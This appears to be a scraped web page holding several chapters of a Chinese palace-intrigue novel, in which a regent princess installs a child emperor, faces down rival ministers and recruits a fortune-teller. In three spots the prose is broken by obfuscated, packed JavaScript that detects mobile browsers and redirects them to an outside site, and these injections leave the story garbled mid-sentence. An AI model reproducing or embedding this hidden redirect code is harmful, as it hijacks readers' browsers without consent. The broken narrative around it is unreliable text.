刘仲想明白了,激动道:“大姐姐与英王兄从小被父皇亲自教导,治国理政丝毫不输于英王兄,况且大姐姐又曾代父皇秋猎祭祀、求雨祭祀,如今又在监理政务,若大姐姐是男儿,这天下早就是大姐姐的囊中之物了。可正是因为大姐姐是女儿身,才可顺利承当的当上这抚政长公主,才可暂时缓住这各方势力,稳住天下局势。” “有大姐姐在,他们定不会轻举妄动,待我们缓过这口气来,大姐姐再一纸诏书将我复位,传位于我。” 刘仲见刘安蹙着眉,默不作声,只以为她不愿意,忙激动道:“大姐姐,眼下只有这一个方法了。若大姐姐不接受,那待诚王带兵进京之时,我们姐弟几人就是那砧板上的肉任他宰割啊!” “大姐姐,你纯孝仁义,弟弟妹妹的命、乃至国家兴亡,可全在你身上了,全在你这一念之间了!” 刘安扭过头,看着刘仲眼中的癫狂,连连摇头:“仲儿,这……” “大姐姐不必担心。朝中的程显等人,皆与我交好,可为我们所用。”说着,刘仲取来一只毛笔,自顾自地伸出栏杆,等着刘安接下:“可以此为信物,姐姐将这只笔带给他们看,他们看过之后,自然会明白的。朝中有着他们帮忙,定会一举成功的。” 眼瞅着刘安面上还是有些犹豫,刘仲忙跪下俯首道:“请抚政长公主代理朝政!” 刘安略显木讷地起身,接过刘仲手中的信物,道了声:“既在其位,必承其责。” 刘安摇摇晃晃走到门前,在跨出门槛之时,扶着门框,回头看向刘仲,嘴角勾起的弧度隐匿在昏暗不明的光线之中:“我定当尽心竭力保护好弟妹们。”说罢,一步跨出房门。 刘仲跪在地上高呼:“恭送抚政长公主。” 75. 代政(十)新帝登基 夜深,太傅王落儒守在宫门口,听见长公主刘安的车马声逐渐靠近,忙搓着有些僵硬的手指,上前询问:“长公主殿下,如何?” 刘安抬起略显疲惫的眼皮:“再等等。” 王落儒不解,顺着刘安的眼神看过去,除了黑洞洞的街道,什么也看不到,不免问道:“殿下,还要再等什么?” 刘安听着马蹄哒哒哒的声音,笑道:“来了。” 不多时,金中堂快马加鞭赶来。 待金中堂看到刘安之时,勒住马,随即跳下来,跪下高举着手中的信件:“殿下,已拦下。” 刘安打开看过,正是刘仲与栾南诚王暗中勾结的密信。刘安低头一笑,将袖中那张白纸掏出,替换了其中的密信。幸而当时与刘仲相隔得有些距离,如若不然,只怕要被他发现了。 刘安换好密信,紧接着将装有白纸的信封递给金中堂:“送出京去吧。” 刘安已经可以想象得到,诚王叔在接到这封来之不易的密信之后会有多激动,只是启封之后发现竟是一封空白的密信,岂不是暴跳如雷,以为刘仲在捉弄他?只怕恨不得当下便进京来吧。 要想除掉诚王,不能一味的忍让等待,需得主动,需得诚王主动露出马脚,这封空白的密信,正好激怒诚王。待诚王进京之日,便是他断头之时。 刘安看向王落儒,胜券在握:“王太傅,不必担心。明日早朝,新帝登基。” 王落儒思虑再三道:“殿下,眼下朝中尚未清理干净,贸然登基,只怕……” 刘安道:“太傅不必担心,我有法子。只是明日早朝,无论我说什么无论我做什么,还要太傅坚定不移地站在我这边才是。” 刘安心中忖度着,明日朝堂之上,才将是一场恶战,程显等人若是得知父皇殡天,定会跳出来再为刘仲博上一博。朝堂之上的大部分官员,如今都出身寒门,与程显有脱不开的关系,皆看着程显的举动。明日,需得按下程显,无论他是否心甘情愿,都得臣服于新帝。 闹吧闹吧,好好闹上一场,也可好好看清楚朝上那些人身上都披着什么皮。 王落儒虽不大明白刘安想做什么,还是点点头应允。长公主是陛下亲封的抚政长公主,定会竭尽全力扶持幼帝的。 翌日早朝,也不知是谁走漏了消息,群臣们得了些许的风声,皇帝还未上朝,大臣们便窃窃私语地议论着。 王落儒皱着眉,回头瞪了众臣一眼,众臣并未有所收敛,直至户部尚书程显清了清嗓子,众臣们方才止住,等着皇帝临朝。 许久过后,只见长公主刘安一手牵着八皇子刘绥,一手奉着圣旨,从列成两队的群臣中缓缓走过。 刘绥身着衮服,头戴冕旒,面上一副戚戚哀痛之色,怀里还抱着传国玉玺。 刘安与刘绥二人还未登上台阶坐上龙椅之时,便听到身后黄崇安的声音传来:“二位殿下,缘何如此装扮?” 王落儒站在最前面,听闻此,回头狠狠瞪了黄崇安一眼,难怪长公主昨日会说那样的话,想来早已猜到今日新帝登基会被人刁难。随后目光又落在程显身上,朝中谁人不知,黄崇安和程显关系要好,黄崇安的意思,怕不是程显的意思。 众大臣面面相觑,这不是明知故问吗?陛下殡天,传位于八皇子,这不明摆着的事吗?圣旨、国玺都在,难不成还有假? 刘安刹住脚步,侧头看去,眼神先是落在王落儒身上,而后又继续转头,看向黄崇安前面的程显,程显头压得很低,长长的笏板遮住了他脸上的神情,紧接着目光终于落在黄崇安身上。 只一瞥,刘安冷哼一声,并不理会,继续牵着刘绥一步一步登上台阶,坐稳皇位,而后转身面向诸位大臣,面露哀痛之色:“诸位卿家,父皇遗诏。” 众臣闻言,纷纷端庄跪下。 王落儒此时站出列,高声道:“先帝遗诏,皇八子刘绥,秉性良善,仁孝两全,可堪当大任。然稚子年幼,着敕封皇长女刘安为抚政长公主,从旁辅佐。” 遗诏后面那一段,王落儒并未念出,若是让程显得知他为顾命大臣,尾巴还不得翘到天上去,到那时长公主辅佐政务岂不愈发艰难? 黄崇安在程显的授意下,继续发难道:“长公主殿下,先帝卧病多时,殿下这是要……谋权篡位不成?” 刘安站在高台之上,底下人的举动看得一清二楚,自然看得清程显与黄崇安的小动作。 王落儒问道:“黄侍郎此话何意?” 黄崇安不屑道:“长公主日夜侍奉在先帝面前,玉玺就在她手上,她想要什么样的诏书拿不到?” 刘安紧紧盯着黄崇安,一步一步走下台阶,怎么,是想给她栽个伪造圣旨的罪名吗? 王落儒听不下去,指着黄崇安的鼻尖,怒气冲冲道:“你这是信口雌黄!长公主殿下是先帝临终前亲封的抚政长公主,岂容你在这里青口白牙随意污蔑!” 黄崇安脸上毫无惧色,继续道:“更何况,先帝生前从未属意于八皇子,又怎会让他继承大统!莫不是长公主见八皇子年幼好拿捏吧。” 刘安停在黄崇安面前,静静地盯着他,面不改色问道:“黄侍郎以为,父皇心中属意于谁来继承大统。” 黄崇安眼珠一转,瞟了眼程显的背影,回道:“先帝曾在朝堂之上,夸赞过二殿下,曾言二殿下最最像他,可堪重用。” 王落儒眉头皱起,先帝是说过这话不错,只是先帝说这话时,太子殿下也还在朝堂之上,先帝这话之中,哪里有一丝一毫的传位之心? 刘安冷哼一声:“不知黄侍郎口中的二殿下指的是谁?” 黄崇安道:“二皇子刘仲。” 刘安并不接话茬,反而是嗤笑一声,走到程显身旁,问道:“程尚书,你久居朝堂之上,见多识广,依你看,父皇的心意可是如黄侍郎所言?” 程显装聋作哑含糊道:“先帝的心意,臣等岂敢妄自揣测?” 不过话锋一转:“不过先帝确实在朝堂之上说过这话。” 刘安闻言挑眉,对着程显点点头,继续道:“听闻黄侍郎是程尚书的得意门生,想来,黄侍郎的意思,便是程尚书的意思。依黄侍郎的意思,今日该坐在皇位上的人,该是刘仲?莫不是程尚书也是这么想的吗?“ 程显笑道:“殿下这话说的不对,立储一事,黄崇安他哪里能决断得了呢?臣又怎么能决断得了呢,一切全凭先帝的心意。” 黄崇安当即附和道:”程大人这话说的不错,怎的是微臣的意思?这明明就是先帝的意思,先帝有心传位于二殿下。” 林英闻言,眉头紧皱,怎么越说越离谱了,先帝在时,何时属意过刘仲?刘仲一个被废黜之人,今日哪里有资格配在这里讨论?因而碰了碰一旁的黄崇安,希望他能少说两句少拱把火。 黄崇安并不理睬,只是一味地收回臂膀。 刘安脸冷了下来,乜视一眼:“二殿下?他不是早就被父皇废为庶人了吗?黄侍郎却还一口一个二殿下的叫着,此为何意?” ”你们还将父皇的旨意放在眼里吗!“ 黄崇安赶忙跪下:”殿下误会臣的意思了。” 刘安并不听黄崇安解释,抬手指向黄崇安,指尖在黄崇安与程显二人之间晃动着:“你们敢背叛父皇!” 程显扑通一声跪下,连连喊冤:“殿下这话严重了,臣等忠君报国,先帝也常说臣乃忠贞之士,实在是担不起殿下这声背叛啊!” 刘安继续斥道:“你们都是我父皇一手提拔下来的,若没有父皇,你们几个的脑袋早不知道挂到哪里去了。你们如今却妄议储君,企图拥立个早就被废黜的人来做新君,难道这还不是背叛吗?” “本宫记得,你们二人都是科举考上来的,你们可都是天子门生啊!可你们呢?你们读的圣贤书呢?你们标榜的忠义礼智孝呢?竟都读到狗肚子里去了!” “你们几人,如今的一言一行,哪里对得起父皇!” 程显听出刘安话中的意思,如今已到了这个地步,早已撕破了脸皮,若此时不争,更待何时? 程显缓缓挺起腰杆,一转方才事不关己的暧昧态度,直言道:“殿下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘安神色戚戚,脸上还挂着泪痕,俨然一副受尽委屈的样子,命人取来纸笔,当即道:“本宫与新帝,资质粗陋,自知难当大任,本宫会遂了方才卿家所言,将这位置禅让于诸位卿家所举荐之人。还望诸位卿家不要过再为难我们姐弟几人。” “我们禅位便是。”说罢刘安抬手抹去挂在下巴上那颗摇摇欲坠的泪珠,提笔便要写。 王落儒率先跪下祈求:“殿下这是何故?殿下是先帝亲封的抚政长公主,名正言顺,满朝上下,又有谁这么不长眼敢欺负殿下呢!” 群臣们也慌忙跪下。 程显紧紧盯着刘安手中的那支笔,他认得那支笔,那是他先前赠与二殿下刘仲的,二殿下一直都很珍重,从不轻易示人,更不会将这支笔转赠他人。她,又是从何而来的这支笔? 莫不是二殿下已落入她手中?莫不是她在以二殿下的性命在做要挟?难怪今晨二殿下府外看守的护卫比平日里多了两三倍。 程显无奈,撩起衣袍,扑通一声跪下:“殿下扶持新帝登基,名正言顺!” 刘安居高临下睥睨着跪在她面前的一众大臣,尤其是多看了一眼程显,闹了这么一大圈,她要的就是程显如今这反应。 刘安倒要看看,刘仲与程显之间的情谊到底能有多深厚。今日一试,竟如此坚不可摧,程显为了刘仲,竟然不惜犯上作乱,如今为了能保全刘仲一命,竟肯舍下脸面臣服于她。 刘安眸色暗了几分,程显心存异心,断不可重用。 刘安拂去脸上的眼泪,举起遗诏,转身面向大臣们,神色坚定道:“此传位诏书乃父皇临终前亲手所书,有王太傅作证,本宫绝无半分矫诏之嫌,诸位卿家若是不信,大可细看细验。” 如今都闹到这副田地,又有谁敢再看再验呢? 刘安笃定众人不敢再多言,便再牵起刘绥的手,重新走过一遍台阶,与刘绥共同坐在龙椅之上。 至此,新帝登基。 承道二十六年,帝薨。 同年,幼帝刘绥登基,尊皇长姐刘安为抚政长公主,皇兄刘昶为定北大将军,年号康祐。 76. 安内(一)苦苦相逼 康佑帝刘绥登基已有月余,刘安也在这抚政长公主的位置上有月余,每日垂帘听政,与刘绥共坐龙椅,受着阶下群臣的三跪九叩。 刘安睥睨群臣,心中自是得意欢喜。原来这就是权力的滋味,原来这就是唯我独尊的感觉,难怪自古以来皇位之争便异常激烈,难怪都到了手足骨肉至亲争相残杀的地步。试问若有机会登上这个位置,谁会推辞? 父皇说的不错,若非她身为女子,只怕这皇位她也要争上一争了。 可刘安虽说当上了这抚政长公主,朝中的这些个臣子却全然不服她,俨然分成了两派,一派是以程显为首的寒门派,一派以王落儒为首的幼帝派。 寒门派等人先前就与刘安起过争执,在金銮殿上闹成那般,更是不愿也不会听从刘安这个长公主的,只不过是还蒙着一层窗户纸没有捅破罢了。 幼帝派等人,仗着是先帝临终前提拔上来的,仗着辅佐过两任储君,仗着都是朝里的老臣,个个自持甚高,谁都不放在眼里,甚至就连幼帝刘绥,都要听他们训诫。 两派之争,自康佑帝继位起,便争斗不断。 如今就为着尊封太后一事,便折腾了好几日。 礼部尚书周述:“长公主殿下,不久便是年关了,不知这座次该如何排布?” 周述瞥见刘安脸上闪过一丝不耐烦,周述怕刘安会说依着旧例去办,忙抢在刘安开口前解释道:“如今新皇登基,自然与旧时不同。” 眼下情形何止是不同,简直大不一样。就拿新帝生母李美人吧,原先这李美人只是先帝的嫔妃,位份又低,坐席排在末等。如今新帝登基,按理来说,生母李美人理应尊封为皇太后,坐席在新帝身旁,李美人又是长辈,更该在长公主刘安之上。 再者,尊封太后一事,不单是为了年关的座位排布,更多还是为了分权一事。 王落儒也道:“殿下,新帝登基一月有余,然则太后一事,尚未有定论,若传到臣民耳中,岂非会认为新帝不孝,未能尽到侍奉亲长之责?” 若是李美人成了皇太后,幼帝年少,依着惯例,便需要太后垂帘听政,即便是长公主刘安有着先帝的遗诏,刘安为抚政长公主垂帘听政,可到底不能像现在这般独断专权。况且,李美人愚钝,不似长公主这般心思深,若李美人为太后,则会更好拿捏些。 只是,新帝登基一月有余,李美人尊封太后的事宜却迟迟未定下来。 不单程显他们着急,就连王落儒乃至康佑帝刘绥都急得不行。 李美人更是,好容易儿子登基为帝,她本该成为太后,入主慈宁殿,享太后之尊,可如今却什么消息都没有,还是美人的份例,居住的还是破败不堪的归云阁,她心中怎会服气。 李美人三番两次堵着太傅王落儒诉苦,频频面见康佑帝哭诉自己的不易。康佑帝刘绥年幼,自幼与生母李美人相依为命,自然是想封生母为皇太后,频频将此事说与长姐刘安听,可刘安总是按下不表。 为此,王落儒不得不找到刘安,逼着刘安同意尊封李美人为太后。 刘安紧紧盯着周述与王落儒不言语,如果眼神能杀死人的话,他们两个早就千疮百孔了。 刘安原本想着鹬蚌相争,她好坐收渔翁之利,便也就放之任之,无非是在寒门派落了下风时,打压下幼帝派,在幼帝派落下下风时,打压下寒门派即可,平衡两派在朝中的势力。 可如今为着册封太后一事,两派竟出奇的统一,皆站在刘安的对立面。 不单朝中的大臣们日日来说这个,就连李美人,也常来找她哭诉,躲了数次,此事一推再推,却不想愈演愈烈。 不过他们说得也对,刘安一时也无法反驳,狠狠瞪了几眼之后,只得再次推脱道:“本宫知道了,你们暂且退下,此事以后再议。” 刘安心中自然有着自己的想法,她曾答应过元弟,要追封元弟的生母祁娘娘为皇太后,祁娘娘是父皇的元配正妻,自然是担得起,先前父皇受制于齐国公与晋国公两家,对祁娘娘多有亏待,如今她掌权,自然要给祁娘娘这份尊容。 再者,若是封了李美人为太后,垂帘听政之时,岂不是会分掉她手中的权利?如今大权在握不过才几日,又怎会会甘心让旁人来分权呢?更何况是一个远不如她的人,更何况是这么一个她从来都看不上的人。 只是两派也都有自己的小九九,都不支持刘安。 王落儒甚是不甘心:“殿下!此事不能再拖了!需得早下定论。” 被臣子再三逼迫,刘安甚是不耐烦,冷眼道:“本宫说了,日后再议。” “太傅莫不是年事已高,听不清了?” 王落儒与周述无法,心不甘情不愿地退下。 待走出书房,周述转头问王落儒道:“王太傅,不知此事眼下可如何是好?”若此事与他礼部无甚关系,他倒想幸灾乐祸的看这一场好戏。当初,可是王太傅一力支持长公主垂帘听政的。 王落儒定了定心神,道:“此事本官先与陛下商议,问过陛下之后再做定夺。” 周述仰天长叹一声,拜别王落儒。不免感慨,怎么这礼部的差事是越来越难做了。 王落儒拜别周述,便来到了福宁殿主殿,见过康佑帝刘绥之后,将与刘安的对话如实说了出来。 刘绥一时间拿不定主意,愁容遍布,双手一摊,无可奈何道:“太傅,那朕如今该如何做?” 王落儒安慰道:“陛下莫着急,不如明日早朝将此事捅出来,当着满朝文武的面,想来长公主无法再推辞,只能照办。” 刘绥面上方寸大乱,只得点点头:“太傅说的是,明日,便全倚仗太傅了。” 王落儒跪在刘绥脚边表忠心道:“老臣受先帝之托,必当尽心竭力辅佐陛下。” 刘绥嘴角不经意地勾起,转瞬又换了副恭顺惶恐的神情,忙扶起王落儒:“太傅快快请起。太傅于朕,是恩师,师者,父也,朕又怎能受太傅这一拜。” 王落儒笑道:“陛下且安心,只需耐心等待明日早朝即可。” 翌日早朝,有臣曰:“陛下,长公主殿下,先前蔡皇后以妃嫔之礼下葬,与张贵妃合葬,并入妃陵,只是先皇并未废后,此举并不妥当,按礼,蔡皇后应按着皇后之礼下葬,与先皇同陵。” 刘安眼眸微眯,蔡氏谋逆叛乱,生前父皇早已幽禁她,只是看在已故太子的面子上,未曾废后罢了,这些个人颠倒黑白可真是一把好手,黑的也愣是要说成白的。 刘安自然知道接下来他们要说什么,无非还是为了皇太后一事。 不过蔡氏以皇后之礼下葬一事,实在是无需再议。 刘安侧身,询问康佑帝刘绥的意见:“陛下以为如何?” 刘绥哪里敢多说什么,他自幼胆小,长姐又不是不知,如今他尚且年幼,朝中诸事自然由长姐做主便是。 刘绥怯懦道:“大姐姐,一切全凭大姐姐做主便是。朕全听大姐姐的。” 底下大臣们听得康佑帝如此说,纷纷叹了口气。 这话正是刘安想听的,虽说她如今是抚政长公主,可新帝年幼,她手上的权力,与新帝无异。 刘安扫了朝臣们一眼,缓缓开口道:“父皇未曾废后,无非是看在已故的孝懿太子的面子。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274273|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔡氏为何会葬入妃陵,莫不是诸位卿家全然忘了颖州蔡氏谋逆叛乱一事吗?莫不是诸位卿家全忘了当初满城的血腥味儿不成?” 此话一出,底下诸臣无人敢应。 刘安见状,嗤笑一声:“此事还有什么可争议的?这事儿也配拿到朝堂上来论?你们昏了头,本宫可还记得呢。” 刘安转向刘绥:“当日陛下被挟持在福宁殿,受了许多惊吓,想必陛下还记得吧。” 刘绥一副后怕的样子,抚着胸口平复着心境,那段时日,他真是不敢回想:“朕,不敢忘,每每想起,还是会忍不住从噩梦中惊醒。想来诸位卿家,也都不敢忘。” 说着说着,刘绥感慨道:“当日朕与母妃被逆贼蔡桐挟持,危急时刻,若不是母妃拔下头上的金钗,拼尽全力刺死逆贼,只怕今日朕……”说完,又是重重叹了口气。 随即睥睨道:“蔡氏一事,往后不要再提了。” 王落儒站出来道:“陛下,长公主殿下,先皇后蔡氏一事,确无需再议,只是眼下还有一事需要再议。” “方才陛下所说,生母李氏刺杀逆贼、护佑陛下,功劳甚大。陛下以孝治天下,理应奉养生母,尊为太后。然陛下登基月余,生母李氏并未定封,于礼制不合,还望陛下与长公主殿下早日尊封太后,以全孝道。”说罢,回头给周述使了个眼色。 周述哪里敢淌这趟浑水,方才已惹恼了长公主,况且昨日长公主便说了日后再说,明摆着就是不想封,他又何必去惹火烧身呢。 王太傅是顾命大臣,有皇命在身,自然天不怕地不怕,周述这种寒门,背后什么都没有,自然是要谨小慎微。 王落儒等了许久,只有他一人在冲锋陷阵,不见周述站出来,便点名礼部:“周大人,你为礼部尚书,对礼法想必研读甚深,不知依礼制,该如何?” 周述不得不回道:“依礼,该早日封为皇太后。”随后又找补道:“不过眼下陛下刚登基不久,朝中事项繁杂,靖州灾情才刚平定,一时顾及不暇也是有的。” 刘安道:“方才太傅说起孝道,本宫倒是想起,先前父皇还是信王之时,信王妃祁氏薨于潜邸,父皇时常感怀,本宫亦是如此,每每想起祁娘娘,不觉潸然泪下。” 说到伤心处,刘安掏出手帕,在眼下浅浅擦拭几下,而后又神色戚戚继续说道:“若说起尊封一事,本宫认为,祁娘娘身为父皇元配正妻,理当追封为皇太后。” 王落儒驳道:“天子继承大统,生母当尊为皇太后,只是,祁妃并未曾诞育天子,况先帝在时,未曾追封祁妃,如今殿下此举,是子改父命,于先帝实乃大不敬,有违孝道。” 刘安辩道:“父皇当年未曾追封,是因本宫与英王尚且年幼,恐招致祸端。虽父皇未曾追封祁娘娘,可父皇在位期间,每每提及祁娘娘与陈娘娘二人,便常觉亏欠,常常写下追思之词句,字字含泪句句含情,让人闻之落泪感之伤怀。” “本宫也没别的意思,也只是想着能尽一尽孝道,代父皇弥补对祁娘娘这么多年亏欠之心,全了父皇的心愿。” 王落儒并不理睬刘安口中所言,毅然跪下,义愤填膺道:“此举断不可行,若今日为祁妃破此先例,来日大家争相效仿,礼制荒废,孝道无存,陛下将来又何以治天下?” 礼部诸臣也齐齐跪下:“殿下,臣等熟读礼法,纵观礼法,皆无此举,烦请殿下三思三思再三思,恳请殿下收回成命。” 朝上诸臣见此情形,纷纷交头接耳窃窃私语: “这这这,要置礼法于何地?” “这不是胡来吗?” “谁说不是呢?” 77. 安内(二)以退为进 罔顾礼法,肆意妄为……这样的字眼频频飘进刘安耳中。刘安心中甚是不满,看了眼跪在阶下的众臣,既然追封祁娘娘为太后不成,那李美人也别想册封皇太后,大家便都耗着,耗久了,自然会有人坐不住。 刘安冷哼一声,甩袖离开了金銮殿。 “大姐姐!”康佑帝刘绥见刘安离去,忙宣布退朝,紧跟在刘安身后也离开了。 刘安未曾理会身后的刘绥,头也不回地坐上步辇。 莲音见刘安脸色不佳,犹豫再三,开口劝道:“殿下对祁娘娘的孝敬心,祁娘娘泉下有知,一定会很欣慰的。只是,殿下如今与朝臣们对着干,只怕不行。” 刘安撑着额头,满不在乎笑道:“我若是顺着他们,他们也未必会让我如意。既然横竖都不能如意,那便大家都不要如意好了。” 莲音眼含心疼:“奴只是心疼殿下,连日操劳。” 刘安卸下防备的姿态,眉眼之间难掩疲惫:“本宫身为抚政长公主,自然要比先前多操劳、多费心些。” 还未至福康宫,便见莲亭一路小跑拦住众人,跑得上气不接下气:“殿下……先……先别回去。” 刘安笑道:“慢慢说,不着急。” 莲亭吞咽了下口水,继续道:“李娘娘听说了早朝上的事,一早便来了,就在正殿等着殿下回去呢。” 莲音着急得直抱拳拍手:“殿下,李娘娘每次来,便会吵闹上几个时辰,这下可怎么好?” 刘安无奈扶额,她既然选择了要争,要为祁娘娘争个名分,那便不会退缩,这场没有硝烟的争斗,势必会是个持久战,她已经挺了一个多月了,眼下到了正关键的时刻,更是不会后退,要不然自己岂不成了一个笑话。 不过李美人每次来,又哭又闹地便是几个时辰,不单要好话说着,还要好言劝着,应付不暇。既然应对不下,那就躲着不见好了,躲个清静好了。 刘安想了想,宫里是待不了了,不如出宫去,去宫外的公主府住上几日。 皇子皇女们成年之后,都是要出宫去另立府邸的,刘安与刘元二人虽早过了及笄及冠之年,早有府邸,可因为承道帝对二人的疼爱,还是一直居于宫中。 刘安的福康宫,是比着皇帝的福宁殿缩小建造的,里面的陈设布置,与福宁殿相差无二。就连英王居住的东华宫,原先是历代太子所居住的东宫,为此,还在皇宫外另建了一座东宫给太子。 刘安道:“出宫去吧。” 随即略显俏皮地看着莲音与莲亭二人:“在宫里待久了,倒是有些乏闷,不如今日便出宫去玩吧。” 莲亭自是开心,她在宫里待了数年,先前一直羡慕莲房姐姐能时常出宫为殿下办差,也羡慕莲音姐姐自小跟在殿下身边见多识广,忙不迭问道:“好呀好呀!” 莲音还是担忧:“殿下——” 刘安抬手止住,当即命人调转步辇出宫去。 几人换上寻常衣服,走在繁华的京都街上,摊上摆着的新奇小玩意都是宫里没有的,一路走一路逛下来,甚是欢喜。 莲音见莲亭噔噔噔就跑在最前头没影了,忙叮嘱道:“莲亭!你慢些跑!” “知道啦!” 莲亭年纪最小,打小就进了宫,见什么都新奇有趣,就连街上百姓的随口闲聊都听得津津有味的。 “殿——”莲亭刚喊出一个字,便想到殿下叮嘱不许暴露身份,忙改了口:“姑娘,我方才听人说,京郊有个道观,卜卦算命很准的,我们也去看看吧。” 莲音站在刘安身旁,边为刘安打理披着的斗篷,边笑着说道:“不过是一些江湖术士哄骗人的把戏罢了,说几句吉祥话,便哄得你掏出银钱来,莲亭你年纪小见得少,没被骗过自然觉得新奇。” 莲亭有些不服气,辩驳道:“怎么可能个个都是骗子嘛,先前咱们见的那个,我记得姓钱吧,他不是算得就很准吗?” 随即拉着刘安的衣袖央求道:“殿下,我们就去看看吧,就去看一眼好不好?我想卜上一卦。”说罢,有些羞涩地垂下脑袋。 她也想像莲房姐姐那样,有个人来疼,她也想等将来出宫以后,能有人在宫外坚定不移地等着她,她也想和她命中之人过上幸福美满的日子。 刘安同身旁的莲音看出了莲亭的春心荡漾,相视一笑,伸手点在莲亭眉心,宠溺笑道:“你呀!难得出宫一趟,那便去看看吧。” “好!” 几人乘车来到京郊,又登了数级台阶,才看见不远处有座小道观,道观的外墙有些破败,门外有一个耄耋老道士在用鸡毛掸子擦拭着匾额,隐约能看见一两个字,门前还有一个年幼的小道童在清扫着门前的枯枝落叶。 有百姓陆陆续续从里面走出来,个个眉目欢喜,看样子定是求了个好签。 一边走,一边侧耳听着周边人的闲聊,这才得知这道观原只有一耄耋老道与一年幼道童相依为命,老道心善,时常会帮附近的百姓治病,道观也就勉强支撑下来。 近来道观又多了一位青年道士,卜卦解签很准的,算出来的都是好兆头,久而久之,百姓们便都来求签问卦,求个心安,心愿达成之后,便都来还愿。 刘安也是来了兴趣,便进了道观。 “姑娘,求一签吧。”年轻小道递过来签筒。 刘安抬眼一看,发现这解签之人竟是先前那个算准降雨时辰的钱衡量。 “是你?”莲音与莲亭也认出了钱衡量。 钱衡量定睛一看,面前这面相虽看着和善但内里确有着说不上来的压迫,看着面生,没什么印象。 紧接着又扫了眼刘安身旁的莲音与莲亭二人,这不就是那日掳走他的那两个婢女吗? 钱衡量瞪大了眼睛,眼里满是惊愕,那这面生的女子,便是当朝的抚政长公主了! 这钱衡量,原本是刘仲的门客谋士,算出刘仲有天命加身,便一直跟着刘仲。虽刘仲不受重视,但至少能给钱衡量一个温饱,钱衡量也不愁吃喝。 钱衡量为了刘仲登基有更多助力,亲自去了栾南拉拢诚王,谁曾回来路上便听说了刘仲设计巫蛊陷害太子的消息,气不打一处来,好容易靠着一路算卦解签的本事走回京城,又听说了刘仲被废为庶人的消息,更是气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“贵人稍等片刻。”钱衡量看出刘安的顾虑,与门口的老道士浅谈几句将观内解签的事暂且交给他之后,又来到刘安面前,伸手做出请的姿势:“草民知道,愿为贵人排忧解难,烦请贵人随我来。” 刘安跟着钱衡量来了道观后院一处僻静处。 钱衡量贴心地拂去院中石凳石桌的灰尘,谄媚笑道:“贵人请坐。” 莲音看了眼刘安,忙从口袋中掏出帕子铺在石凳上,莲亭拿出随身带着的软垫放置在石凳上,如此,刘安这才屈尊坐下。 钱衡量有些尴尬地在一旁讪笑着。 刘安背对着石桌,叹了口气,缓缓道:“近来家中事多,愁丝不断。最要紧的一件,便是家里奴仆众多,又大都不听管教训诫。虽说父亲将家里的重担都托付给了我,可我亦是孤木难支,如今确实不知该怎么办了。” 钱衡量听后,从怀中掏出三枚铜钱,在手中摇晃均匀后,抛下空中,心中默默记下铜钱的正反面,连着六次之后,组成一个卦象,是革卦。 78. 安内(三)事有转机 革卦,卦象显示所询之事还未曾到山穷水尽之时,尚有转机,只是需等待契机,破旧立新。 钱衡量心中了然,作揖笑道:“贵人放心。如方才贵人所言,既然是家中的奴仆不听话,那便发卖了,再换上些听话的奴仆来服侍便是,何须忧虑呢?” 刘安闻言长叹一声,她何尝不想呢,只是如今局势由不得她,因而怅然道:“若真能那么简单就好了。家里奴仆众多,可谓是背后各自有神仙,有些个仗着曾经侍奉过长辈,个个托大拿谱,不听使唤还摆架子;还有些个,拉帮结派,暗中勾结,若是我敢动其中的一个,其余的便都商量好,集体罢工,以此来要挟主人家。” “我空有一手的管家之权,全拿他们没办法,任他们欺负,可我又能怎么办呢?只能由着他们。” 刘安长叹一声,她可是父皇亲封的抚政长公主啊,一人之下万人之上的位置,竟还要处处受人辖制,竟然会被人欺负到这个份上了。 钱衡量见刘安手头缺人,便抓住机会,施礼自荐道:“若是主人家不嫌弃,我甘愿为贵人出谋划策,甘愿化作贵人手中的利剑,为贵人扫清前方阻碍,冲在前头。只消得贵人给草民一口饭吃即可。” 刘安狐疑的眼神上下打量一番钱衡量,甚是警惕,并未做声。若是贸然将他安插在朝廷,必然会被人察觉异样,实为不妥。况且,父皇开科举多年,多少寒门学子都通过科举入仕为官,为何他没想过走科举的路子呢? 一旁的莲音看了眼刘安眼色,问出刘安心中所想:“先生博学多知,为何不去参加科举入朝为官呢?以先生的仁心与才能,必定会造福一方百姓。” 钱衡量苦笑一声:“祖上犯事,三代以内,皆是有罪之身,身家不清白,哪里还能入朝为官呢?即便是我有这个心,条条框框的律例摆在那里,我也进不去考场啊,空有一身抱负罢了。” 刘安不好意思地呵笑一声,她竟然忘了,钱衡量的祖父钱易知曾得罪了颖州蔡氏,因此被抄了家入了狱。 钱衡量背过身去,眺望着远处薄雾笼罩的山头,慨然长叹道:“可悲的是,天底下还不知道有多少起这种案子呢。还不知道天底下还有有多少学子,因为这些个冤假错案,被蹉跎一生。” 这话倒是提醒了刘安,天下有学之士众多,何愁找不到愿意为官之人呢?既然朝中那些人不听话,天底下多的是想做官的学子,他们不想做事,有的是人想做。 这不就应了那卦象吗?破旧立新,静待转机。 刘安心情舒畅,不禁笑道:“今日便多谢先生了。只是先生如今身份不宜为官,若待来日,本宫征召先生——” 